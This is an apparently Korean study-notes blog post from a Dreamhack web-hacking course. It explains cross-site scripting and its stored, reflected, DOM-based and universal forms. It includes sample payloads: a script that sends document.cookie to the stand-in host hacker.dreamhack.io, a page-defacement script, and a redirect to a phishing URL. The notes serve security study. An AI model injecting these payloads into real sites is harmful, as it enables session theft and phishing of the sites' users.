๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
โœ’๏ธ Web Hacking/Dreamhack

[Dreamhack] ClientSide : Cross Site Scripting (XSS) + Stored XSS + Reflected XSS

by A Lim Han 2022. 9. 21.

2 - 0 - 1. ClientSide : Cross Site Scripting (XSS) + Stored XSS + Reflected XSS

 

 

 

 

# Cross Site Scripting (XSS) ( = ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ์ทจ์•ฝ์  )

: ๊ณต๊ฒฉ์ž๊ฐ€ ์›น ๋ฆฌ์†Œ์Šค์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ํด๋ผ์ด์–ธํŠธ์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์ทจ์•ฝ์ ์„ ๋งํ•˜๋ฉฐ, ์ด์šฉ์ž๊ฐ€ ์‚ฝ์ž…ํ•œ ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•˜๋Š” ๊ธฐ๋Šฅ์—์„œ ๋ฐœ์ƒํ•จ

 

+ Cross Site Scripting ์˜ ๊ฒฝ์šฐ CSS (์Šคํƒ€์ผ์‹œํŠธ)์™€์˜ ํ˜ผ๋™ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์–ด CSS๊ฐ€ ์•„๋‹Œ XSS๋กœ ๋ช…๋ช…ํ•จ

 

 

 

- XSS ์˜ ์ข…๋ฅ˜

Stored XSS Reflected XSS DOM-based XSS Universal XSS
์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€
์„œ๋ฒ„์— ์ €์žฅ๋˜๊ณ ,
์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ค๋Š” XSS
์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€
URL์— ์‚ฝ์ž…๋˜๊ณ ,
์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ค๋Š” XSS
์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€
URL Fragment์— ์‚ฝ์ž…๋˜
XSS์ด๋‹ค.
ํด๋ผ์ด์–ธํŠธ์˜ ๋ธŒ๋ผ์šฐ์ €๋‚˜
๋ธŒ๋ผ์šฐ์ €์˜ ํ”Œ๋Ÿฌ๊ทธ์ธ์—์„œ
๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์œผ๋กœ,
SOP ์ •์ฑ…์„ ์šฐํšŒํ•˜๋Š”
XSS์ด๋‹ค.

 

 

 

- XSS ์Šคํฌ๋ฆฝํŠธ ์˜ˆ์‹œ

1. ์„ธ์…˜ ๋ฐ ์ฟ ํ‚ค ํƒˆ์ทจ ๊ณต๊ฒฉ ์ฝ”๋“œ

1	<script>
2	alert("hello");
3	document.cookie; 
4	alert(document.cookie);
5	document.cookie = "name=test;";
6	new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
7	</script>

+ << Line 2 >>

: ๋ฌธ์ž์—ด "hello"์˜ alert ์‹คํ–‰

 

+ << Line 3 >>

: ํ˜„ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค๋ฅผ string ํƒ€์ž…์œผ๋กœ ๋ฆฌํ„ด

 

+ << Line 4 >>

: ํ˜„ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค๋ฅผ ์ธ์ž๋กœ ํ•˜๋Š” alert ์‹คํ–‰

 

+ << Line 5 >>

: ํ‚ค๋ฅผ name, ๊ฐ’์„ test๋กœ ํ•˜๋Š” ์ฟ ํ‚ค ์ƒ์„ฑ

 

+ << Line 6 ~ 7 >>

: newImage ํ•จ์ˆ˜  -->  ์ด๋ฏธ์ง€ ์ƒ์„ฑ ํ•จ์ˆ˜

: src๋Š” ์ด๋ฏธ์ง€์˜ ์ฃผ์†Œ ์ง€์ • & ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ๋Š” http://hacker.dreamhack.io/?cookie=๋กœ ์„ค์ •

 

 

 

2. ํŽ˜์ด์ง€ ๋ณ€์กฐ ๊ณต๊ฒฉ ์ฝ”๋“œ

<script>
document;
document.write("Hacked By DreamHack !");
</script>

+ << Line 2 ~ 3 >>

: ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€ ์ •๋ณด์— ์ ‘๊ทผ ํ›„ ๋ณธ ํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๋ฅผ ์ž„์˜๋กœ ์‚ฝ์ž…ํ•˜๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ

 

 

 

3. ์œ„์น˜ ์ด๋™ ๊ณต๊ฒฉ ์ฝ”๋“œ

1	<script>
2	location.href = "http://hacker.dreamhack.io/phishing"; 
3	window.open("http://hacker.dreamhack.io/")
4	</script>

+ << Line 2 >>

: location.href๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž์˜ ์œ„์น˜๋ฅผ ์ž„์˜๋กœ ์ด๋™์‹œํ‚ค๋Š” ์ฝ”๋“œ

 

+ << Line 3 >>

: window.open()์„ ํ†ตํ•ด ์ƒˆ ์ฐฝ์„ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ฝ”๋“œ

 

 

 

 

# Strored XSS

: ์„œ๋ฒ„์˜ database, ํŒŒ์ผ ๋“ฑ์˜ ํ˜•ํƒœ๋กœ ์ €์žฅ๋œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์กฐํšŒํ•  ๊ฒฝ์šฐ ๋ฐœ์ƒํ•˜๋Š” XSS๋กœ, ๋ถˆํŠน์ • ๋‹ค์ˆ˜์—๊ฒŒ ๋…ธ์ถœ๋œ๋‹ค๋Š” ํŠน์ง•์ด ์žˆ์Œ

 

 

 

# Reflected XSS

: ์„œ๋ฒ„๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์„ ์ถœ๋ ฅํ•  ๊ฒฝ์šฐ ๋ฐœ์ƒํ•˜๋Š” XSS

 

 

- Reflected XSS์˜ ํŠน์ง•

1. Stored XSS์™€๋Š” ๋‹ฌ๋ฆฌ URL ๋“ฑ ์ด์šฉ์ž์˜ ์š”์ฒญ์— ์˜ํ•ด ๋ฐœ์ƒํ•จ

2. ์ด์šฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ํฌํ•จ ์—ฌ๋ถ€๋ฅผ ์•Œ์•„์ฑ„์ง€ ๋ชปํ•˜๋„๋ก Click Jacking, Open Redirect ๋“ฑ์˜ ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„๋˜์–ด ์‚ฌ์šฉ